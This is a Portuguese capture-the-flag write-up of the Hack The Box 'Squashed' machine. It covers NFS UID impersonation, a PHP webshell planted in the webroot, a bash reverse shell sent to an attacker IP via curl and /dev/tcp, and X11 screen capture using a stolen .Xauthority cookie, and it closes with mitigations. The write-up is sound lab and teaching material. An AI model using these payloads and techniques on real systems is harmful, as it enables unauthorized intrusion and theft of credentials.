0xEtern4lW0lf
Hack The BoxEasyLinux

Squashed

7 min de leitura
#NFS#KeePass#ImageMagick#Screen Hijacking#RPC

Introdução

Squashed é uma máquina Linux de dificuldade Easy do Hack The Box. O foco do laboratório é um serviço NFS mal configurado: os exports estão liberados sem restrição de host e o servidor confia cegamente no UID/GID que o cliente informa (comportamento padrão do NFSv3 com AUTH_SYS). Isso permite personificar o dono de um diretório apenas criando um usuário local com o mesmo UID, sem qualquer autenticação real. A partir daí dá para escrever na raiz do site, subir uma webshell e, na escalada de privilégios, sequestrar a sessão gráfica (X11) de outro usuário para capturar a senha de root exposta na tela. IP alvo: 10.10.11.191

Escaneamento

Como sempre, comecei com um scan completo de portas seguido de um scan de versão/scripts apenas nas portas encontradas:

ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.11.191 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.191

O scan mostrou três serviços de interesse: 22 (SSH), 80 (HTTP) e a pilha completa de RPC/NFS (111, 2049 e as portas dinâmicas de mountd/nlockmgr). O NFS exposto diretamente na internet já chama atenção — não é algo comum de se ver e costuma ser sinal de configuração de exports mal feita.

Enumeração

Porta 111/2049 (NFS)

Rodei o showmount para listar o que estava sendo compartilhado:

showmount -e 10.10.11.191

Dois exports disponíveis, ambos sem qualquer restrição de host (*):

  • /home/ross
  • /var/www/html Isso já é o primeiro sinal do problema real da máquina: qualquer host pode montar essas pastas, e o NFS (usando AUTH_SYS) não faz autenticação de verdade — ele apenas confia no UID/GID que o próprio cliente diz ter. Montei as duas exportações localmente:
sudo mkdir /mnt/ross && sudo mkdir /mnt/web
sudo mount -t nfs 10.10.11.191:/home/ross /mnt/ross -o nolock
sudo mount -t nfs 10.10.11.191:/var/www/html /mnt/web -o nolock

Analisando o conteúdo montado:

  • Em /mnt/ross (UID/GID 1001), dentro de Documents/ havia um Passwords.kdbx — um banco de senhas do KeePass 2.x — além dos arquivos .Xauthority, .xsession-errors e .xsession-errors.old. Tentei extrair o hash com keepass2john, mas a versão do KDBX não é suportada pela ferramenta, então essa linha de ataque ficou de lado por enquanto.
  • Em /mnt/web os arquivos pertenciam ao UID 2017, do grupo www-data, e eu não tinha permissão de leitura/escrita com o meu usuário local padrão.

Porta 80 (HTTP)

O site em si é estático (“Built Better”), sem formulários ou funcionalidades óbvias para explorar diretamente. O que importa aqui é que esse mesmo diretório (/var/www/html) é a raiz do site — e é exatamente o que está sendo exportado via NFS, o que se tornaria o vetor de entrada.

Exploração

A vulnerabilidade central da máquina é a confiança cega do NFS no UID/GID informado pelo cliente, combinada com exports sem restrição de host. Como o servidor NFS não faz autenticação real (usa AUTH_SYS), qualquer host consegue montar /home/ross e /var/www/html, e as permissões de arquivo continuam sendo aplicadas com base no UID numérico — não em um usuário de verdade. Ou seja, basta criar localmente um usuário com o mesmo UID do dono remoto para “virar” esse usuário aos olhos do servidor. Passo a passo:

  1. Descobri que os arquivos em /mnt/web pertenciam ao UID 2017. Criei um usuário local com esse UID, no grupo www-data:
sudo useradd -M -u 2017 -g www-data websvc
sudo su websvc
  1. Trocando para esse usuário, o diretório montado passou a ser gravável:
cd /mnt/web
touch teste && ls -la
  1. Lendo o .htaccess do site, confirmei que arquivos .html são interpretados como PHP:
cat .htaccess
# AddType application/x-httpd-php .htm .html
  1. Com escrita no webroot e PHP habilitado, criei uma webshell simples dentro da pasta montada — a alteração se reflete automaticamente no site, já que é o mesmo diretório físico do servidor:
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>'; ?>
  1. Salvei o arquivo como shell.php dentro de /mnt/web, subi um listener e disparei uma reverse shell via HTTP:
sudo rlwrap -cEr nc -lvnp 443
curl "http://10.10.11.191/shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.X/443%200%3E%261%22"

O listener recebeu a conexão como o usuário alex (UID 2017 — o mesmo dono do webroot), o que confirmou a exploração. A partir daí já foi possível ler a flag de usuário em /home/alex/user.txt.

Pós-exploração

Com shell como alex, rodei uma enumeração padrão (linpeas, checagem de sudo, cron, etc.) sem achar nada óbvio de imediato. O que chamou atenção foi o comando w, mostrando que o usuário ross — dono do outro export NFS — tinha uma sessão gráfica GNOME ativa no display :0:

w
# USER  TTY   FROM  LOGIN@  IDLE  JCPU  PCPU  WHAT
# ross  tty7  :0    ...           /usr/libexec/gnome-session-binary --systemd --session=gnome

Lembrei então do .Xauthority que tinha visto em /mnt/ross durante a enumeração NFS. Esse arquivo guarda a cookie MIT-MAGIC-COOKIE usada pelo protocolo X11 para autorizar conexões ao servidor gráfico — se eu conseguisse essa cookie, poderia interagir com a sessão do ross remotamente.

  1. Repeti o mesmo truque de personificação de UID, dessa vez usando o UID 1001 (dono de /home/ross), para poder ler o .Xauthority a partir da minha máquina de ataque (como root da minha máquina eu sou automaticamente mapeado para nobody pelo root_squash padrão, então só um usuário “normal” com o UID correto resolve).
  2. Copiei o arquivo para a máquina alvo, dentro do $HOME do usuário alex, e configurei as variáveis de ambiente necessárias:
export HOME=/home/alex
export XAUTHORITY=/home/alex/.Xauthority
  1. Validei a conexão com o display:
xdpyinfo -display :0
xwininfo -root -tree -display :0
  1. Com a autorização válida, capturei um dump da tela ativa da sessão de ross:
xwd -root -screen -silent -display :0 > screenshot.xwd
  1. Transferi o arquivo .xwd para minha máquina de ataque e converti para PNG com o ImageMagick:
convert screenshot.xwd screenshot.png

A imagem mostrava a janela do KeePassXC aberta, com a senha de root visível em texto claro na tela. Usei essa senha diretamente:

su root

E com isso ganhei acesso total ao sistema, podendo ler a flag root.txt.

Anexos

  • nfs-common — pacote necessário no Kali/Parrot para montar exports NFS.
  • showmount / rpcinfo / nmap --script=nfs* — enumeração dos exports e serviços RPC.
  • keepass2john — usado na tentativa de crackear o Passwords.kdbx (sem sucesso; versão do KDBX não suportada pela ferramenta).
  • Webshell PHP simples baseada em shell_exec() para obter execução remota de comandos.
  • xdpyinfo, xwininfo, xwd — ferramentas do pacote x11-apps usadas para verificar e capturar a sessão X11 de ross.
  • ImageMagick (convert) — conversão do dump .xwd para .png legível.
  • Referência usada durante a exploração do X11: HackTricks — Pentesting X11.

Mitigação

  • Restringir os exports do NFS a hosts específicos e confiáveis em /etc/exports — nunca usar * como lista de hosts permitidos.
  • Aplicar all_squash (não só root_squash) nos exports sensíveis, mapeando todo UID/GID remoto para um usuário sem privilégios, o que elimina a personificação de UID usada nesta exploração.
  • Nunca exportar via NFS diretórios sensíveis como a raiz do site (/var/www/html) ou diretórios pessoais de usuários.
  • Migrar para NFSv4 com autenticação Kerberos (sec=krb5) em vez de AUTH_SYS, que confia no UID/GID informado pelo próprio cliente sem validação real.
  • Restringir permissões de escrita no diretório web e desabilitar a interpretação de PHP em pastas que não deveriam conter código executável.
  • Bloquear a tela (screen lock) sempre que a sessão gráfica ficar sem uso, e evitar deixar gerenciadores de senha como o KeePassXC abertos e destravados.
  • Restringir o acesso a arquivos .Xauthority e desabilitar X11 remoto (X11Forwarding) quando não for estritamente necessário.
  • Atualizar o banco de senhas para um formato KDBX mais recente e usar senhas mestras fortes, reduzindo o risco em caso de exfiltração do arquivo.